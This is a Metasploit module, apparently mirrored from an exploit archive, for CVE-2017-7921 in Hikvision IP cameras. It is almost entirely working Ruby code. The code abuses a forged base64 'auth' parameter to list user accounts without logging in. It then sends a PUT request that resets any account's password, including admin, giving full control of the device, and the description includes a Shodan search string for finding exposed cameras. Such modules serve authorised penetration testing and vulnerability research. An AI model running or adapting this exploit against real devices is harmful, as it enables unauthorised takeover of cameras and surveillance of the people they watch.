## https://sploitus.com/exploit?id=PACKETSTORM:180831
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
require 'base64'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic',
'Description' => %q{
Many Hikvision IP cameras contain improper authentication logic which allows unauthenticated impersonation of any configured user account.
The vulnerability has been present in Hikvision products since 2014. In addition to Hikvision-branded devices, it
affects many white-labeled camera products sold under a variety of brand names.
Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time
of publishing (shodan search: '"App-webs" "200 OK"'). Some of these devices can never be patched due to to the
vendor preventing users from upgrading the installed firmware on the affected device.
This module utilizes the bug in the authentication logic to perform an unauthenticated password change of any user account on
a vulnerable Hikvision IP Camera. This can then be utilized to gain full administrative access to the affected device.
},
'License' => MSF_LICENSE,
'Author' => [
'Monte Crypto', # Researcher who discovered and disclosed this vulnerability
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Developer and author of this Metasploit module
],
'References' => [
[ 'CVE', '2017-7921' ],
[ 'PACKETSTORM', '144097' ],
[ 'URL', 'https://ipvm.com/reports/hik-exploit' ],
[ 'URL', 'https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2017/Sep/23' ]
],
'DisclosureDate' => '2017-09-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('USERNAME', [ true, 'Username for password change', 'admin']),
OptString.new('PASSWORD', [ true, 'New Password (at least 2 UPPERCASE, 2 lowercase and 2 special characters', 'Pa$$W0rd']),
OptInt.new('ID', [ true, 'ID (default 1 for admin)', 1]),
OptBool.new('STORE_CRED', [false, 'Store credential into the database.', true])
]
)
end
def report_creds
if datastore['SSL'] == true
service_proto = 'https'
else
service_proto = 'http'
end
service_data = {
address: datastore['RHOSTS'],
port: datastore['RPORT'],
service_name: service_proto,
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: datastore['USERNAME'],
private_data: datastore['PASSWORD'],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
cred_res = create_credential_login(login_data)
unless cred_res.nil?
print_status("Credentials for #{datastore['USERNAME']} were added to the database...")
end
end
def check
begin
password = Rex::Text.rand_text_alphanumeric(6..12)
auth = Base64.encode64("admin:#{password}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Security', 'users'),
'vars_get' => {
'auth' => auth.strip
}
})
rescue StandardError => e
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
return Exploit::CheckCode::Unknown("#{peer} - Communication error occurred: #{e.message}")
end
if res.nil?
return Exploit::CheckCode::Unknown('No response received from the target!')
elsif res && res.code == 200
xml_res = res.get_xml_document
print_status('Following users are available for password reset...')
user_array = xml_res.css('User')
return Exploit::CheckCode::Safe('No users were found in the returned CSS code!') if user_array.blank?
user_array.each do |user|
print_status("USERNAME:#{user&.at_css('userName')&.content} | ID:#{user&.at_css('id')&.content} | ROLE:#{user&.at_css('userLevel')&.content}")
end
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def run
return unless check == Exploit::CheckCode::Vulnerable
begin
print_status("Starting the password reset for #{datastore['USERNAME']}...")
post_data = %(<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema">\r\n<id>#{datastore['ID'].to_s.encode(xml: :text)}</id>\r\n<userName>#{datastore['USERNAME']&.encode(xml: :text)}</userName>\r\n<password>#{datastore['PASSWORD']&.encode(xml: :text)}</password>\r\n</User>)
password = Rex::Text.rand_text_alphanumeric(6..12)
auth = Base64.encode64("admin:#{password}")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(target_uri.path, 'Security', 'users'),
'vars_get' => {
'auth' => auth.strip
},
'ctype' => 'application/xml',
'data' => post_data
})
rescue StandardError => e
print_error("#{peer} - Communication error occurred: #{e.message}")
elog("#{peer} - Communication error occurred: #{e.message}", error: e)
return nil
end
if res.nil?
fail_with(Failure::Unknown, 'Target server did not respond to the password reset request')
elsif res.code == 200
print_good("Password reset for #{datastore['USERNAME']} was successfully completed!")
print_status("Please log in with your new password: #{datastore['PASSWORD']}")
if datastore['STORE_CRED'] == true
report_creds
end
else
print_error('Unknown Error. Password reset was not successful!')
print_status("Please check the password rules and ensure that the user account/ID:#{datastore['USERNAME']}/#{datastore['ID']} exists!")
end
end
end